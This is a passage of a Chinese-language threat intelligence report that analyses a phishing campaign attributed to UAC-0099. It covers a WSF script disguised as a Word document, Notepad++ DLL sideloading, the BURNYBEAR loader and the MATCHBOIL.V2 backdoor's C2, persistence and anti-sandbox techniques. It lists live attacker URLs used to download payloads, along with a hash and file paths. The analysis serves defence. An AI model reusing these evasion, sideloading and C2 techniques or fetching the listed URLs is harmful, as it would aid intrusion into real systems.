初始访问与投递</span></span></h2><table style="margin-left: 0.0;border: none;border-collapse: collapse;mso-border-top-alt: solid windowtext 0.5pt;mso-border-left-alt: solid windowtext 0.5pt;mso-border-bottom-alt: solid windowtext 0.5pt;mso-border-right-alt: solid windowtext 0.5pt;width: 100%;mso-padding-alt: 0pt 5.4pt 0pt 5.4pt;"><tbody><tr><td data-colwidth="149" width="149" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="mso-margin-top-alt: auto;mso-margin-bottom-alt: auto;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: 宋体;mso-fareast-font-family: &#39;宋体&#39;;font-weight: normal;mso-bidi-font-weight: normal;word-break: break-all;"><span style="font-family:宋体;mso-ascii-font-family:宋体;font-variant:normal;text-transform:none;"><span leaf="">文件名称</span></span></p></td><td data-colwidth="404" width="404" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="mso-margin-top-alt: auto;mso-margin-bottom-alt: auto;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: 宋体;mso-fareast-font-family: &#39;宋体&#39;;font-weight: normal;mso-bidi-font-weight: normal;word-break: break-all;"><span style="font-family:宋体;mso-ascii-font-family:宋体;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;"><span leaf="">2060.docx.wsf</span></span></p></td></tr><tr><td data-colwidth="149" width="149" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="mso-margin-top-alt: auto;mso-margin-bottom-alt: auto;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: 宋体;mso-fareast-font-family: &#39;宋体&#39;;font-weight: normal;mso-bidi-font-weight: normal;word-break: break-all;"><span style="font-family:宋体;mso-ascii-font-family:宋体;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;"><span leaf="">MD5</span></span></p></td><td data-colwidth="404" width="404" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="mso-margin-top-alt: auto;mso-margin-bottom-alt: auto;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: 宋体;mso-fareast-font-family: &#39;宋体&#39;;font-weight: normal;mso-bidi-font-weight: normal;word-break: break-all;"><span style="font-family:宋体;mso-ascii-font-family:宋体;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;"><span leaf="">8b939af31ffbde820aec4a2faf3127da</span></span></p></td></tr></tbody></table><p style="mso-margin-top-alt: auto;mso-margin-bottom-alt: auto;text-align: left;margin-left: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: 宋体;mso-fareast-font-family: &#39;宋体&#39;;font-weight: normal;mso-bidi-font-weight: normal;text-indent: 28.0pt;mso-char-indent-count: 2.0;mso-char-indent-size: 14.0;word-break: break-all;"><span style="font-size:14.0pt;mso-bidi-font-size:14.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="" style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">攻击者通过钓鱼邮件投递包含恶意压缩包的诱饵内容，并围绕目标关注的话题进行伪装，诱导受害者解压并运行附件。压缩包内包含采用双扩展名伪装成Word文档的WSF脚本，受害者打开该文件后，系统通过wscript.exe执行脚本，进而启动后续载荷投递流程</span><span leaf="">。</span></span><o:page></o:page></p><h2 style=""><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="color: rgb(190, 25, 31);font-weight: bold;">2.2 下载与执行</span></span></h2><p style="text-align: justify;text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">WSF脚本作为攻击链的初始入口，执行过程中访问的URL缩短链接为<a href="https://cutt.ly/TtXIrg5W，该链接经重定向后指向文件服务器下载后续载荷。" target="_blank">https://cutt.ly/TtXIrg5W，该链接经重定向后指向文件服务器下载后续载荷。</a></span></p><p style="text-align: center;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;word-break: break-all;"><span style="font-family: 宋体;font-variant: normal;text-transform: none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.20813397129186603" data-w="418" style="width: 417.95px;height: 86.99px;" src="https://wechat2rss.xlab.app/img-proxy/?k=cb8456dd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXIIRRbnDQcRUtRyicJBNdpfdVSPKgrSHKibBicHyVYibSEYp3nb2FQVLHrMe6nBLH8vnu2CONFTEub5D7DqH2lIaVvN1ibpMhRXBUYM%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="text-align: justify;text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">WSF脚本执行后下载包含合法Notepad++程序和恶意组件的压缩包；创建目录%userprofile%\documentscache\notepad\并解压归档内容；启动notepad++.exe触发DLL侧载链，隐蔽完成后续组件的下载与部署。</span></p><h2 style=""><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="color: rgb(190, 25, 31);font-weight: bold;">2.3 DLL侧加载（LUNCHPOKE）</span></span></h2><p style="text-align: justify;text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">WSF脚本启动Notepad++后，Notepad++自动加载plugins\nppexport\目录下的恶意DLL，触发LUNCHPOKE执行。LUNCHPOKE是一个伪装为Notepad++合法插件的DLL侧载器。</span></p><p style="text-align: center;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;word-break: break-all;"><span style="font-family: 宋体;font-variant: normal;text-transform: none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.24808184143222506" data-w="391" style="width: 390.96px;height: 96.99px;" src="https://wechat2rss.xlab.app/img-proxy/?k=d66930d8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXIvROgBroUVxsiaZPVfy2ic8ibZjNia8h7CY9UL5PddibtibjEdPLqwkuYk0Z2NxfL4qDjWDUA4mx6zUPxPibR2yaLLmib8lj3uaofIbFU%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="text-align: justify;text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">其核心行为包括：创建工作目录%UserProfile%\Libraries\Recorded\（目录名可能变化）；解压带密码的二段载荷压缩包，释放BURNYBEAR和MATCHBOIL.V2。</span><o:page></o:page></p><p style="text-align: center;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;word-break: break-all;"><span style="font-family: 宋体;font-variant: normal;text-transform: none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1.1051282051282052" data-w="390" style="width: 389.96px;height: 430.95px;" src="https://wechat2rss.xlab.app/img-proxy/?k=446941be&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXLExmmF6oAHtGZYHSPGj34qlUTATzl11zeRt7IcXiaFbkDy2AlGkDUB6XwJaotjqeX1kkpVhANXedka0JxZfMGhbX8xcUGjBshQ%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="text-align: justify;text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">由释放出的BURNYBEAR创建计划任务实现持久化，该计划任务以每5分钟一次的频率执行，并传入触发参数notepad_updatecheck，任务名伪装为EvernoteNotepad\UpdateTask。</span></p><h2 style=""><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="color: rgb(190, 25, 31);font-weight: bold;">2.4 BURNYBEAR加载器</span></span></h2><p style="text-align: justify;text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">BURNYBEAR采用了多重保护机制以对抗分析：使用SuppressIldasmAttribute阻止IL反编译器；核心方法采用代码虚拟化保护，使用128+case的switch跳转表实现控制流混淆；所有敏感字符串动态解密，密文存储在嵌入资源中。</span></p><p style="text-align: justify;text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">通过反射解密还原关键字符串和IL分析，还原出Main方法的完整执行逻辑：</span><o:page></o:page></p><p style="text-align: center;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;word-break: break-all;"><span style="font-family: 宋体;font-variant: normal;text-transform: none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.3355457227138643" data-w="1356" style="width: 553.74px;height: 185.8px;" src="https://wechat2rss.xlab.app/img-proxy/?k=a3de1f34&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXKR0T9gSSljjvHEgvtfynf0cySicjSr2Xic3vERc7LLj3l9XmNEGS0lu5KwoZwQS0N2ia0H7jybKlpIV4D8Jbkf9OYUappJn9a0Uo%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="text-align: justify;text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">BURNYBEAR是一个条件加载器，需要特定命令行参数notepad_updatecheck才执行恶意行为，加载同目录MATCHBOIL.V2并通过RunClassConstructor触发其静态构造函数。若参数不正确，则休眠100秒消耗系统资源后退出。</span></p><h2 style=""><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="color: rgb(190, 25, 31);font-weight: bold;">2.5 MATCHBOIL.V2后门</span></span></h2><p style="text-align: justify;text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">MATCHBOIL.V2同样采用多重保护机制。其核心功能由多个类协同完成：</span></p><p style="text-align: justify;text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">ApiClient负责C2通信，保存运行时传入的服务端地址、固定认证Token和主机指纹，并通过自定义HTTP请求头完成任务请求、配置获取、结果上报和文件下载；</span><o:page></o:page></p><p style="text-align: center;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;word-break: break-all;"><span style="font-family: 宋体;font-variant: normal;text-transform: none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.6422018348623854" data-w="1199" style="width: 553.74px;height: 355.61px;" src="https://wechat2rss.xlab.app/img-proxy/?k=93938a1f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXJGCaZRVKVLZJ4Er3aPoN1Licq0GZrtO2tglAfPtejo4ia46quEJlGeNJicsUrf1HSl5jxicFUx5IMXrA0BOxw0KC81YJYnvS4ff0I%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="text-align: justify;text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">MainFunc负责启动延迟、单实例控制、反分析检查、本地组件状态判断及后续流程调度；</span></p><p style="text-align: center;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;word-break: break-all;"><span style="font-family: 宋体;font-variant: normal;text-transform: none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.675365344467641" data-w="958" style="width: 553.74px;height: 373.94px;" src="https://wechat2rss.xlab.app/img-proxy/?k=65a9287b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXLuKeeQO5Sx9aquUDD1R2OoiaxpIjiblnhvUibBK93zAUOhc1HvrrUvfzs8OrGehibibhRFu747fyRYVwR6kIbicoKtNPHFbT6aOUCqY%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="text-align: justify;text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">MainWorkClass负责周期性连接C2、执行挑战响应、提取配置和编码载荷、还原压缩包并启动安装流程；</span><o:page></o:page></p><p style="text-align: justify;text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">Sand负责反沙箱和反动态分析检测；</span></p><p style="text-align: center;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;word-break: break-all;"><span style="font-family: 宋体;font-variant: normal;text-transform: none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1.0992167101827677" data-w="766" style="width: 553.74px;height: 608.68px;" src="https://wechat2rss.xlab.app/img-proxy/?k=e34da5f8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXKjdxw5YxBVGialStW32r8MlpxJLDBDImGGXEiaNtUiaC5ZibBSDPhYlic4BZzdZaIVssV6I2taoibdB6ia8pVCCyvCzNnibkNE5icFqQbU%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="text-align: justify;text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">SOS通过网络接口和WMI采集主机硬件及系统指纹；</span></p><p style="text-align: center;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;word-break: break-all;"><span style="font-family: 宋体;font-variant: normal;text-transform: none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.30979978925184404" data-w="2847" style="width: 553.74px;height: 171.54px;" src="https://wechat2rss.xlab.app/img-proxy/?k=b5394b62&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXK0YPWbvObq614zJxwK2Ul276yhCEDxeEry30tYia2hmDmtVUH1YtX8PcI8jDS4OEX2ybiamsUndGrnmqs6eyJASicYRJD8GPeb40%2F640%3Fwx_fmt%3Dpng"/></span></span><o:page></o:page></p><p style="text-align: justify;text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">RegexHelper负责C2地址还原、挑战值计算、响应内容解析和载荷字节转换；</span></p><p style="text-align: center;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;word-break: break-all;"><span style="font-family: 宋体;font-variant: normal;text-transform: none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.25835866261398177" data-w="658" style="width: 553.74px;height: 143.07px;" src="https://wechat2rss.xlab.app/img-proxy/?k=e8bb8edb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXKBRt9hZWmkg9dnvYDTPuxAXXdBZdj4ZY2y9jah6VGs8h6PN808gnAebl4AVibhGZKOdRtfbwhmtZJcCUH4H6aSEoWRAVsjTYaI%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="text-align: justify;text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">WinRarDownload负责获取解压工具并解包载荷；</span></p><p style="text-align: center;text-indent: 0px;margin-top: 16px;margin-bottom: 16px;"><span style="font-family: 宋体;font-variant: normal;text-transform: none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.032758620689655175" data-w="1160" style="width: 553.74px;height: 18.13px;" src="https://wechat2rss.xlab.app/img-proxy/?k=e332c0f7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXLMDnwOwa2bvpyG5XvxhoatgXhSdqlHCudcboc7hvsLHYHvOlRUPIQVbcQS6Nym15ucVwRMxAklnfuHTTqlzuNmPia2KKlia61QY%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="text-align: justify;text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">Tasks则通过Windows计划任务建立持久化。</span></p><p style="text-align: justify;text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">MATCHBOIL.V2的反沙箱检测链较为完善，包括：Sleep加速检测、磁盘大小检测、事件日志检测、安装日期检测。后续采集MAC地址、硬件序列号、设备型号、用户名和操作系统版本等信息，拼接生成主机指纹，并通过自定义请求头发送至C2，用于识别受控主机。</span></p><p style="text-align: justify;text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">在C2通信方面，MATCHBOIL.V2使用domain+&#34;/manager/&#34;+GenerateRandomString()构造请求地址，通过Authorization请求头发送固定认证Token，并通过CookieAccept请求头上传主机指纹。通信采用TLS，但证书验证回调始终返回true，导致服务器证书有效性校验被关闭。C2返回的配置和载荷隐藏在自定义文本标记中，样本提取配置并写入%LOCALAPPDATA%\RemoteClient\config.ini，同时将文本形式的载荷还原为二进制文件，保存为%PUBLIC%\Documents\Thumbs.DB，随后重命名为Thumbs.rar。</span><o:page></o:page></p><p style="text-align: center;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;word-break: break-all;"><span style="font-family: 宋体;font-variant: normal;text-transform: none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.7040261153427638" data-w="919" style="width: 553.74px;height: 389.81px;" src="https://wechat2rss.xlab.app/img-proxy/?k=44dd0d07&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXIDRH4XLUvSCib2IulvOic0qYrsqO0XPjT5AXDicZ6XPMiciabx66L3947edmbCkaIBHynTQr2Gu73ICTwibrXfEKOZhU05Wf7tdf1Ck%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="text-align: justify;text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">部署载荷时，样本优先使用本机WinRAR；若未找到，则从<a href="https://cdn.imageurlgenerator.com/uploads/4cf30f1d-c473-4a94-854c-ed5059b80876.exe下载备用解压工具。随后使用硬编码密码将压缩包解压至%LOCALAPPDATA%\RemoteClient。解压后的核心载荷为RemoteFileViewer.exe。" target="_blank">https://cdn.imageurlgenerator.com/uploads/4cf30f1d-c473-4a94-854c-ed5059b80876.exe下载备用解压工具。随后使用硬编码密码将压缩包解压至%LOCALAPPDATA%\RemoteClient。解压后的核心载荷为RemoteFileViewer.exe。</a></span></p><div data-role="outer" label="edit by 135editor" data-pm-slice="0 0 []"><div data-tools="135编辑器" data-id="105196"><div data-tools="135编辑器" data-id="105196"><div style="text-align: left;margin: 10px auto;"><div style="background: linear-gradient(to bottom,rgba(254,254,254,0) 0%,rgba(254,254,254,0) 60%,#ffffff 60%,#ffffff 100%);" data-ignore-dm="text-bg-gradient"><div style="display: inline-block;"><div style="background-color: #be191f;padding: 6px 15px;box-sizing:border-box;"><p data-brushtype="text" style="font-size: 18px;letter-spacing: 1.5px;color: #ffffff;"><strong><span style="font-size:18px;" data-ignore-dm="low-contrast"><span leaf="">三、归属研判</span></span></strong></p></div></div></div></div></div></div></div><p style="text-align: justify;text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">综合攻击目标定位、专用工具链特征及开发者地域线索，有较高置信度将本次攻击活动归因为UAC-0099组织。</span></p><p style="text-align: justify;text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: 